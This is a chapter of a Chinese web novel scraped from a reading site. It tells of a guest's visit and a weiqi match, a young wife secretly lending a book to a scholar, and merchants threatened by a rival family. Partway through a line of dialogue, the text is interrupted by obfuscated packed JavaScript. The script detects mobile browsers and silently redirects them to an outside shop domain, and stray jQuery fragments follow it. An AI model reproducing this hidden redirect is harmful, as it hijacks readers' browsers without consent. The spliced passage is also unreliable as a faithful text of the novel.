文趣网 > 其他小说 > 平凉第一商 > 98. 如意难
    “主君,秦端公子来了。”

    祁楚正在书房,一封封拆着信封,眉头深锁。听门房小厮来报,他立马放下书信起身:“我马上去——对了,去请大娘子一同出来见客。”

    前厅,一袭玄衣的秦端,正悠闲地喝茶等候,器宇不凡的随从静立身旁。

    “无绪兄,真是好久不见!”

    祁楚与柒奺在廊中相遇,此时一齐进了前厅,见着秦端,祁楚甚是开心,忙快步上前鞠了一躬。秦端亦放下茶盏起身回礼,又与柒奺互相见了礼,命随从捧出一只精美的盒子:“听闻上林兄顺利收回了家业,为兄来不及道贺,小小心意,望上林兄切莫推辞。”

    祁楚点点头,从随从手中捧过盒子,交到平南山手中。

    平南山好奇,偷偷掀开看了一眼,里面躺着一只价值不菲的翠玉如意,忍不住唏嘘出声来。柒奺也顺便瞥了一眼,可这秦端公子次次出手不凡,奇珍异宝随意赠送,她倒见惯不怪了。

    平南山不好意思地捂住嘴,秦端却不在意,笑道:“愿借此物,祝上林兄与娘子一切顺遂如意。”

    祁楚却喟叹地摇摇头:“怕是如意难啊……”

    秦端转向柒奺:“对了,今日阳光晴好春风送爽,秦某斗胆,请柒娘子对弈一局如何?”

    柒奺欠了欠身:“那便请秦公子赐教了。”

    小厮丫鬟们在院儿中来来往往,在亭子里摆上茶水点心桌椅棋盘。不远处,墨香从墙后探出头来看了看,对身后的薛宛说道:“姑娘,今儿个家里来客了,看样子主君和大娘子暂时抽不开身,咱们从旁绕过去吧。”

    薛宛点点头,主仆二人离开花园,从一侧的廊边悄悄离去。

    走出祁府大门,薛宛戴上帷帽,墨香手中则抱着一只包裹,二人沿着街边慢慢走着。墨香手中的,便是那套石梅书生的《秋千索记》,那日薛宛要她打听打听那位青衣书生的住处,墨香却没打听到,只知道他常去东市一间书斋选书。

    墨香说:“前几次咱们去,都没碰上那位公子,今日也不知能不能遇上……对了,今日若遇着了,姑娘不妨问问他姓甚名谁,往后要见那位公子,也用不着碰运气了。”

    “胡说什么。”薛宛低头说道,“我已嫁了楚郎,怎能私自去见别的男子……我是想,这套话本儿本就是应他得的,他当初忍痛割爱,如今我也读过两三遍,不如还他个人情罢了。”

    “是是是,是我说错了话,该掌嘴。”墨香笑着拍拍脸颊,说道,“姑娘,就在前面了——呀,今日可来巧了!”

    薛宛抬眼看去,书斋外挂着两卷苇席,风一吹,那苇席便随风飘荡,露出一袭青衣的身影。阳光从苇席的缝隙,斜斜地铺在他的身上,公子手拿一卷书,正入迷地读着,口中似乎念念有词。

    薛宛心中一动,可她很快收敛情绪,犹豫几许,方才埋着头小步走去。

    待主仆二人走近时,青衣书生才忽然回过神来,转头看见了薛宛,双眼闪过一丝欣喜的神色。可他亦很快收敛神情,如之前一般,微微向薛宛拱手见礼。

    薛宛踟躇了,她也稍稍欠欠身,却不知该不该开口。

    “公子,今日可算是遇着你了!”没想到,墨香先替姑娘开了口,“咱们姑娘原本想将那套《秋千索记》借给公子来着,却没想前几日来,却都扑了个空呢。”

    “墨香……”薛宛心中忐忑,阻止不及,低头紧咬着嘴唇。

    “是、是吗?”青衣书生顷刻红了脸,慌乱地拱手说道,“小生前几日公事繁忙,便抽不开身来书斋……这套话本儿我始终遍寻无果,姑娘若愿意相借,小生实在感激不尽……”

    薛宛点点头,示意墨香将包裹交给书生。

    墨香将包裹递过去,复又收回胸前,问道:“还不知公子姓甚名谁,家住何处呢?”

    青衣书生双手悬在空中,不料墨香竟突然问他姓名,愣在原处。

    “愣着做什么?”墨香笑道,“公子不肯说姓甚名谁家住何处,姑娘这心爱的话本儿,岂不是有去无还了?待公子读完了,还要还给咱们才是。”

    “还、还,自然得还……”知道墨香在戏耍自己,青衣书生窘迫地笑笑,转向薛宛说道,“小生姓林名永怀,本非平凉人士……小生暂住前方不远处的青林巷六号宅院,不知姑娘您……”

    薛宛听了对方的名字,隐隐记在心里。

    “哎,咱姑娘的芳名岂可轻易向外说?”墨香一把将包裹塞进林永怀怀里,“知是青林巷的林公子便可,这话本儿你且拿回去看,一月以后,我自会代姑娘要去。”

    林永怀抱着包裹,只看向站在一旁的薛宛。

    薛宛却转过脸去,感觉心跳愈发强烈,只好拉着墨香匆匆离去。

    林永怀追之不得,只能站在原地,望着薛宛离去的背影。等人影早已看不见了,他才紧了紧怀里的话本儿,痴笑着搔了搔头发。

    与此同时,柒奺与秦端对坐亭中,棋盘上渐渐出现零星的棋子。

    秦端用修长的两指放下一颗黑棋,打开镶金的折扇,对一旁的祁楚说道:“上林兄,方才我说‘一切顺遂如意’,为何上林兄却说‘如意难’?是有何事烦扰?”

    祁楚叹了口气,说道:

    “无绪兄,你也知道,我前段时日才斗倒了二叔,收回祁家产业……可也正因如此,成了平凉陶家的眼中钉。近日我陆续收到来信,我祁家在梁州、雍州二地所有的经销商户,近日无端受到骚扰,竟是陶墉雇了些流氓痞子,威逼利诱不许他们再进购我家的药材。”

    “哦?”秦端说,“这全文唐做药材生意的,也不止祁家和他陶家,他如何就能得知,这些是与你祁家合作的商户?”

    “上林兄有所不知……”祁楚叹道,“我家之前有个掌柜,姓覃的,如今投靠了陶墉。他是我家做老了的掌柜了,自是知道许多内情,陶墉收他,也就是为了这个罢。”

    秦端点点头:“商界竞争本是常事,可陶墉这手段,的确非君子所为。”

    “……陶墉这个老贼,可从来不标榜自己是君子。”柒奺冷笑一声,放下一颗白子,“人们常说‘君子坦荡荡,小人长戚戚’,可像他这样坦荡荡的小人,倒是蝎子拉屎——独(毒)一份。”

    “呵呵……”秦端听了开怀大笑,“‘坦荡荡的小人’秦某还是第一次听说,柒娘子果真非同一般啊。”

    “妾身寡陋,从未读过什么书,让秦公子见笑了。”

    “哪里,柒娘子过谦了。”秦端低头看手中的棋,突然叹道,“哎呀,方才相聊甚欢,竟然放错一棋,可惜,可惜……柒娘子棋艺本就高深,这一错,恐怕秦某就要无力回天了。”

    柒奺道

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774237|203563||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“此局还未至中盘,秦公子无需言败。”

    秦端笑笑,继续与柒奺摆子下棋。院中清泉池水,风声鸟鸣,三人喝茶下棋,都未再说话。祁楚盯着二人的棋局——方才秦端下错一棋,导致处处溃败,虽然他尽力补救,可恐怕已时日无多。

    祁楚提嘴一笑,打起折扇悠闲地喝茶扇风。

    可秦端也不在乎输赢,抬手喝了口茶,又问道:

    “对了,朝廷意欲从民间收购三万匹战马,已将诏令传至各地商会,不知二位听说了没有?我一听到此消息,便觉得是天赐良机——上林兄,你有祁家如此财力,又曾投身行伍、识得战马,可曾想过为朝廷效力?”

    祁楚笑道:“三万匹战马,可不是小数目,如今是有钱也买不到马,只能等九月南北互市,去碰一碰运气了。”

    话音刚落,秦端突然收起折扇,向柒奺拱手说了句:

    “柒娘子承让。”

    瓶儿难以置信:“怎么可能?竟是娘子输了?”

    “瓶儿,这你就看不懂了吧。”祁楚大笑起来,“无绪兄那手棋,却是故意下错的!”

    “公子故意放错一棋,造成全线溃败之势,让我以为胜券在握,后面那几手也不过是垂死挣扎……如此,我一心求胜,反而当局者迷,看不出前方正有致命的陷阱等着。”柒奺起身说道,“秦公子高艺,柒奺输得心服口服。”

    “厉害啊。”平南山凑过来说,“下个棋而已,竟然有这么多门道?”

    秦端笑道:“这就叫作——‘能使敌人自至者,利之也’。”

    .

    柒奺扮成“陆十三”,走进济世堂内。

    正在抹桌子的周南见了,兴奋得扔下抹布跑上来:“师父,您可算来了!师父近日安好?”

    柒奺见他满面红光,不似之前怏怏不乐的模样,忍不住问道:“你最近遇着什么好事了?”

    “嘿嘿……”

    周南神秘地咧嘴一笑,却不明说。

    柒奺莫名其妙地嘀咕了一会儿,便见贺远程与梅娟儿一齐从后屋账房出来。二人都身着粗布衣衫,贺远程正气儒雅,梅娟儿温婉清丽,二人站在一起可真是相配。

    连一旁的伙计都说:“东家,我看过不了多久,咱们济世堂就要有喜事了吧?”

    柒奺笑笑,却不言语。

    “东家。”贺远程与梅娟儿出来,向柒奺行了个礼,“东家,那陶杰和对面陶家药铺的覃掌柜,已经来过两三回了……他们竟口出狂言,让咱们济世堂改换陶家的药材,否则、否则就要……总之东家,您今日来可真是太好了,我怕他们还会再来……”

    “没关系。”柒奺说,“咱们去账房吧——娟儿姑娘,劳烦你沏壶茶来。”

    梅娟儿欠了欠身走开,贺远程伸手做请,同柒奺进了账房。

    柒奺翻了翻桌上的账本,却问贺远程:“贺掌柜,这段时日,你与娟儿姑娘相处得如何?若我记得没错,贺掌柜今年应该也二十有七了,可有考虑过终身大事?”

    “这……”贺远程不料柒奺竟问这事,顿时红了脸,“远程与娟儿姑娘,相处的自是融洽,不过……我听说娟儿姑娘是名门之后,从小知书识礼,蕙质兰心……况且娟儿姑娘才貌双全,远程只是小小掌柜,身无功名厚禄,家中破落无亲,实不敢有逾矩的心思……”